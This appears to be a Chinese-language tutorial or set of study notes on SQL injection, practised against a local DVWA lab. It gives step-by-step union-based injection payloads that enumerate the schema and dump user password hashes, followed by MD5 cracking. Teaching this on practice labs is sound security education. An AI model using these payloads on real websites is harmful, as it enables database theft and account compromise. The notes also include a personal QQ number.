漏洞挖掘 漏洞利用 修复漏洞
sql注入漏洞、文件操作漏洞、xss、rce、逻辑漏洞
反序列化、、、、
sql注入漏洞： 网站的数据库 脱裤 拖取网站数据库
数据库基础：
数据库基本结构：数据库 -- 数据表 -- 数据列 -- 数据
sql语句：select * from 数据表的名称 where 数据列的名称=1
web基础：
/index.php?id=1
url:统一资源定位符
域名：
?id=1 请求id为1的内容 ？ get请求 post请求
select * from 数据表的名称 where id=1
拿到一个网站，怎么判断该网站是否存在sql注入漏洞？
1.找交互点 网站跟数据库进行互动的地方 url 搜索框 登录框
2.找注入点 '
看回显结果，回显结果不正常显示，就说明这个位置是一个注入点
如果一个网站存在注入点，那么说明该网站存在sql注入漏洞
int类型 整型 where id=1'
char类型 字符型 where id='1''
3.漏洞利用
①手工注入
（1）判断注入类型 and 1=1 and 1=2
1 and 1=1 and 运算符 真 and 真 真 就会正常显示1的内容
1 and 1=2 真 and 假 假 不正常显示
看回显结果，如果回显结果不一样，则为int类型，那么后续的语句正常写
反之，回显结果一样，说明是char类型，那么后面的语句 都要加上 ' 闭合 # --+ 注释
?id=1和2 1 和 2 两个人
int类型 整型 where id=1和2 1 和 2 两个人
char类型 字符型 where id='1' order by 1#' 一个人 1和2
（2）判断列数 order by 二分法 列数为2
1' order by 1#
（3）看回显位置 union select 联合查询
1' and 1=2 union select 1,2#
（4）查询数据库名称 dvwa
1' and 1=2 union select 1,database()#
（5）查询数据表的名称 guestbook users
1' and 1=2 union select 1,table_name from
information_schema.tables where table_schema='dvwa'#
information_schema //数据库的一个名称
tables //是information_schema下面的一张表
（6）查询数据列的名称 user password
1' and 1=2 union select 1,column_name from
information_schema.columns where table_name='users'#
（7）读取数据 5f4dcc3b5aa765d61d8327deb882cf99 md5 撞库
1' and 1=2 union select 1,password from users#
1' and 1=2 union select 1,concat(user,'~~~',password) from users#
admin5f4dcc3b5aa765d61d8327deb882cf99
qq：1191674313 郑渊
②工具注入 脚本小子
搭建网站：
服务器 --> 操作系统 windows Linux、
中间件 apache nginx iis tomcat、、、
数据库 mysql sqlserver access 、、、
源码
PHPstudy 一键部署网站
dvwa 靶场
访问：打开浏览器 127.0.0.1/dvwa-master
默认的账号密码：admin password
如果觉得《拿到一个网站 怎么判断该网站是否存在sql注入漏洞？》对你有帮助，请点赞、收藏，并留下你的观点哦！
